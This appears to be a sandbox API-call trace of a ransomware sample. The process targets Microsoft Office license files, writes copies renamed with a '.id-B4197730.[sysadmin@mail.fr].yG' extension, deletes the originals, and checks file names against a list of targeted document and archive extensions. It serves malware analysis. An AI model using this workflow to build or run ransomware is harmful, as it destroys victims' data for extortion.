	[0163.264] CloseHandle (hObject=0x518) returned 1
	[0163.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220
	[0163.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0163.265] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.265] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0163.266] GetLastError () returned 0x0
	[0163.266] ReadFile (in: hFile=0x518, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1a8b, lpOverlapped=0x0) returned 1
	[0163.430] WriteFile (in: hFile=0x514, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0163.431] ReadFile (in: hFile=0x518, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.431] WriteFile (in: hFile=0x514, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x100, lpOverlapped=0x0) returned 1
	[0163.431] SetEndOfFile (hFile=0x514) returned 1
	[0163.432] CloseHandle (hObject=0x514) returned 1
	[0163.432] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.432] SetEndOfFile (hFile=0x518) returned 1
	[0163.437] CloseHandle (hObject=0x518) returned 1
	[0163.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1
	[0163.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.439] lstrlenW (lpString=".doc") returned 4
	[0163.439] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.439] lstrlenW (lpString=".docx") returned 5
	[0163.439] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.439] lstrlenW (lpString=".pdf") returned 4
	[0163.439] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.439] lstrlenW (lpString=".xls") returned 4
	[0163.439] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.439] lstrlenW (lpString=".xlsx") returned 5
	[0163.439] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.439] lstrlenW (lpString=".ppt") returned 4
	[0163.439] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.439] lstrlenW (lpString=".zip") returned 4
	[0163.439] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.439] lstrlenW (lpString=".rar") returned 4
	[0163.439] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.439] lstrlenW (lpString=".bz2") returned 4
	[0163.439] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.439] lstrlenW (lpString=".7z") returned 3
	[0163.439] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.440] lstrlenW (lpString=".dbf") returned 4
	[0163.440] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.440] lstrlenW (lpString=".1cd") returned 4
	[0163.440] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.440] lstrlenW (lpString=".jpg") returned 4
	[0163.440] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.440] lstrlenW (lpString=".doc") returned 4
	[0163.440] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.440] lstrlenW (lpString=".docx") returned 5
	[0163.440] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.440] lstrlenW (lpString=".pdf") returned 4
	[0163.440] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.440] lstrlenW (lpString=".xls") returned 4
	[0163.441] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.441] lstrlenW (lpString=".xlsx") returned 5
	[0163.441] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.441] lstrlenW (lpString=".ppt") returned 4
	[0163.441] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.442] lstrlenW (lpString=".zip") returned 4
	[0163.442] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.442] lstrlenW (lpString=".rar") returned 4
	[0163.442] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.442] lstrlenW (lpString=".bz2") returned 4
	[0163.442] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.442] lstrlenW (lpString=".7z") returned 3
	[0163.442] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.442] lstrlenW (lpString=".dbf") returned 4
	[0163.443] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.443] lstrlenW (lpString=".1cd") returned 4
	[0163.443] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0163.443] lstrlenW (lpString=".jpg") returned 4
	[0163.443] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.443] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0163.444] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25
	[0163.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0163.450] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11576) returned 1
	[0163.450] CloseHandle (hObject=0x518) returned 1
	[0163.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0163.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0163.451] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.451] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0163.452] GetLastError () returned 0x0
	[0163.452] ReadFile (in: hFile=0x518, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d38, lpOverlapped=0x0) returned 1
	[0163.467] WriteFile (in: hFile=0x514, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0163.473] ReadFile (in: hFile=0x518, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.474] WriteFile (in: hFile=0x514, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x106, lpOverlapped=0x0) returned 1
	[0163.474] SetEndOfFile (hFile=0x514) returned 1
	[0163.474] CloseHandle (hObject=0x514) returned 1
	[0163.474] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.474] SetEndOfFile (hFile=0x518) returned 1
	[0163.499] CloseHandle (hObject=0x518) returned 1
	[0163.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1
	[0163.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.740] lstrlenW (lpString=".doc") returned 4
	[0163.740] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.740] lstrlenW (lpString=".docx") returned 5
	[0163.740] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.740] lstrlenW (lpString=".pdf") returned 4
	[0163.740] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.740] lstrlenW (lpString=".xls") returned 4
	[0163.740] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.740] lstrlenW (lpString=".xlsx") returned 5
	[0163.740] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.740] lstrlenW (lpString=".ppt") returned 4
	[0163.740] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.740] lstrlenW (lpString=".zip") returned 4
	[0163.740] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.740] lstrlenW (lpString=".rar") returned 4
	[0163.740] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.740] lstrlenW (lpString=".bz2") returned 4
	[0163.740] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.740] lstrlenW (lpString=".7z") returned 3
	[0163.740] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.740] lstrlenW (lpString=".dbf") returned 4
	[0163.740] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.741] lstrlenW (lpString=".1cd") returned 4
	[0163.741] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.741] lstrlenW (lpString=".jpg") returned 4
	[0163.741] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.741] lstrlenW (lpString=".doc") returned 4
	[0163.741] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.741] lstrlenW (lpString=".docx") returned 5
	[0163.741] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.741] lstrlenW (lpString=".pdf") returned 4
	[0163.741] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.741] lstrlenW (lpString=".xls") returned 4
	[0163.741] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.741] lstrlenW (lpString=".xlsx") returned 5
	[0163.741] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.742] lstrlenW (lpString=".ppt") returned 4
	[0163.742] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.742] lstrlenW (lpString=".zip") returned 4
	[0163.742] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.742] lstrlenW (lpString=".rar") returned 4
	[0163.742] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.742] lstrlenW (lpString=".bz2") returned 4
	[0163.742] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.742] lstrlenW (lpString=".7z") returned 3
	[0163.742] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.742] lstrlenW (lpString=".dbf") returned 4
	[0163.742] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.742] lstrlenW (lpString=".1cd") returned 4
	[0163.742] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0163.742] lstrlenW (lpString=".jpg") returned 4
	[0163.742] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.742] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0163.743] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43
	[0163.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.791] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=22224) returned 1
	[0163.791] CloseHandle (hObject=0x38c) returned 1
	[0163.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0163.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.798] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.799] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0163.800] GetLastError () returned 0x0
	[0163.800] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x56d0, lpOverlapped=0x0) returned 1
	[0163.830] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x56e0, lpOverlapped=0x0) returned 1
	[0163.831] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.831] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x12a, lpOverlapped=0x0) returned 1
	[0163.832] SetEndOfFile (hFile=0x51c) returned 1
	[0163.832] CloseHandle (hObject=0x51c) returned 1
	[0163.832] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.832] SetEndOfFile (hFile=0x38c) returned 1
	[0163.844] CloseHandle (hObject=0x38c) returned 1
	[0163.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0163.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0163.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0163.846] lstrlenW (lpString=".doc") returned 4
	[0163.846] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.846] lstrlenW (lpString=".docx") returned 5
	[0163.846] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.846] lstrlenW (lpString=".pdf") returned 4
	[0163.846] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.846] lstrlenW (lpString=".xls") returned 4
	[0163.846] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.846] lstrlenW (lpString=".xlsx") returned 5
	[0163.846] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.846] lstrlenW (lpString=".ppt") returned 4
	[0163.846] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0163.846] lstrlenW (lpString=".zip") returned 4
	[0163.846] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.846] lstrlenW (lpString=".rar") returned 4
	[0163.846] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.846] lstrlenW (lpString=".bz2") returned 4
	[0163.846] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.846] lstrlenW (lpString=".7z") returned 3
	[0163.846] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0163.846] lstrlenW (lpString=".dbf") returned 4
	[0163.846] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0163.847] lstrlenW (lpString=".1cd") returned 4
	[0163.847] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0163.847] lstrlenW (lpString=".jpg") returned 4
	[0163.847] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.848] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=21917) returned 1
	[0163.848] CloseHandle (hObject=0x38c) returned 1
	[0163.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220
	[0163.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.849] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.849] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
